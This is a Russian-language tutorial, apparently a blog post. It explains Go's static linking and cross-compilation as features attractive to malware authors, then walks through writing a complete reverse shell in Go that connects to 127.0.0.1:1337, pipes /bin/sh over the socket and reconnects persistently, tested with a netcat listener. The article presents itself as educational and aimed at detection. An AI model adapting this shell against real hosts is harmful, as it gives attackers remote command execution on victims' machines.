Ну что, Go?
С годами малыш Golang завоевал популярность среди разработчиков и конено же у специалистов по информационной безопасности и хакеров. Как это часто бывает, он привлекает внимание и разработчиков вредоносного программного обеспечения ( ВПО ). Использование Go — заманчивый выбор для разработчиков вредоносных программ, поскольку он поддерживает кросс-компиляцию для запуска двоичных файлов в различных операционных системах. Компиляция одного и того же кода для всех основных платформ (Windows, Linux, macOS) значительно упрощает жизнь злоумышленнику, поскольку ему не нужно разрабатывать и поддерживать разные кодовые базы для каждой целевой среды. Сегодня будут рассмотрены следующие темы:
Особенности языка
Отличия от языка программирования C
Как написать ReverseShell
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.
Специалист который знает как написать reverse shell на разных языках, в реальных условиях сможет обнаружить его не задумываясь.
Бинарные файлы Go обычно статически связаны, что означает, что все необходимые библиотеки включены в скомпилированный бинарный файл. Это приводит к большим двоичным файлам, что затрудняет распространение ВПО для злоумышленников. С другой стороны, некоторые продукты безопасности также имеют проблемы с обработкой больших файлов. Это означает, что большие двоичные файлы могут помочь вредоносам избежать обнаружения. Другое преимущество статически связанных двоичных файлов для злоумышленников заключается в том, что ВПО может работать на целевых системах без проблем с зависимостями.
Компилятор Go создает единый нативный исполняемый файл:
PE, ELF, Mach-O или динамическую библиотеку (
.DLL
,.so
)У исполняемого файла нет зависимостей
Размер программы получается довольно большой
Нет зависимостей у исполняемого файла, потому что компилятор статически линкует всё, что только есть. Отсюда и проблема в размерах самой программы. Для сравнения напишу две одинаковые программы на языке C и Go. Там будет видна разница между размерами программ.
#include <stdio.h>
int main()
{
printf("Hello world!\n");
return 0;
}
package main
import "fmt"
func main() {
fmt.Println("Hello world!")
}
Настало время для сравнения. Сначала исполняемый файл написанный на языке программирования C:
$ file helloworld.out
helloworld.out: ELF 64-bit LSB pie executable,
x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=cb1ebee9841fa4617fdce3d6dec7eb92bdf22b9c,
for GNU/Linux 3.2.0, not stripped
Теперь на языке Go:
$ file helloworld
helloworld: ELF 64-bit LSB executable,
x86-64, version 1 (SYSV), statically linked,
Go BuildID=jx-LKi0DT7yq57_axZ50/-J9pvge2spIs3FF3p1rK/Y4F2OzaI1qbHT_1sjjNT/D18AWb4kE2QlnH3iGjj-, not stripped
Первая разница уже видна. Она заключается в динамической и статической линковке соответсвенно. Теперь различия в размерах программ:
$ ll
total 1,7M
-rwxrwxr-x 1 ap_security ap_security 1,7M авг 15 23:21 helloworld
-rwxrwxr-x 1 ap_security ap_security 16K авг 15 23:23 helloworld.out
Теперь перейдем к установке Golang и к видам компиляции
Установить Go проще простого
C:\ choco install golang // Windows
sudo apt install golang // Linux
sudo brew install golang // MacOS
Компилировать программу на Golang можно многими способами:
Компиляция под текущую платформу
go build main.go
Запуск программы как скрипта
go run main.go
Создание исполняемого файла для Windows из Linux
GOOS=windows go build main.go
Создание исполняемого файла для Linux из Windows
$env:GOOS=linux; go build .\main.go
Создание WebASM приложения
GOOS=js GOARCH=wasm go build -o hello.wasm
Компиляция под MacOS
GOOS=darwin go build main.go
Компиляция под специфичную архитектуру:
GOARCH=386 go build main.go
GOARCH=adm64 go build main.go
GOARCH=arm64 go build main.go
GOARCH=mips64 go build main.go
Теперь настало время для написания ReverseShell на языке Go.
Сначала идет указание пакета main
. Это необходимо, потому что он определяет, что это исполняемый файл, а не библиотека. В данном пакете имеется функция main()
, которая определяет начало выполнения программы.
Дальше необходимо указать компилятору, какие пакеты необходимы для данного файла. Эти проблемы решают объявления import
. Так как для написания revereshell будут нужны ряд пакетов, их можно указывать все поочередно в скобочках. Необходимые пакеты:
net
- содержит основной функционал по работе с сетьюos/exec
- позволит запускать программыtime
- нужен для создания паузы при работе программы
Таким образом, заголовок программы выглядит так:
package main
import (
"net"
"os/exec"
"time"
)
Далее необходимо открыть TCP подключение к серверу и проверить подключение. Для этого создадим две переменные conn
и error_tcp
. Если есть проблемы с подключением, то рекурсивно повторяем операцию. Если соединение прервано, то ожидаем новое. Так избавимся от ошибок и падения программы:
conn, error_tcp := net.Dial("tcp", host)
if nil != error_tcp {
if nil != conn {
conn.Close()
}
time.Sleep(time.Minute)
payload(host)
}
Осталось только запустить Bash и дублировать файловые дескрипторы. В кратце, осталась классическая часть для reverseshell:
shell := exec.Command("/bin/sh")
shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
shell.Run()
conn.Close()
payload(host)
Таким образом, полная программа выглядит так:
package main
import (
"net"
"os/exec"
"time"
)
func main() {
payload("127.0.0.1:1337")
}
func payload(host string) {
conn, error_tcp := net.Dial("tcp", host)
if nil != error_tcp {
if nil != conn {
conn.Close()
}
time.Sleep(time.Minute)
payload(host)
}
shell := exec.Command("/bin/sh")
shell.Stdin, shell.Stdout, shell.Stderr = conn, conn, conn
shell.Run()
conn.Close()
payload(host)
}
Проверим работоспособность
В одном терминале запустить скрипт
go run reverse.go
Во втором терминале открыть подключение
nc -lvnp 1337
Если вы дошли до конца и у Вас все получилось, то Вы большой молодец и Вам пора переходить к более сложным примерам, жду от вас отклик и предложения для следующих статей в комментариях.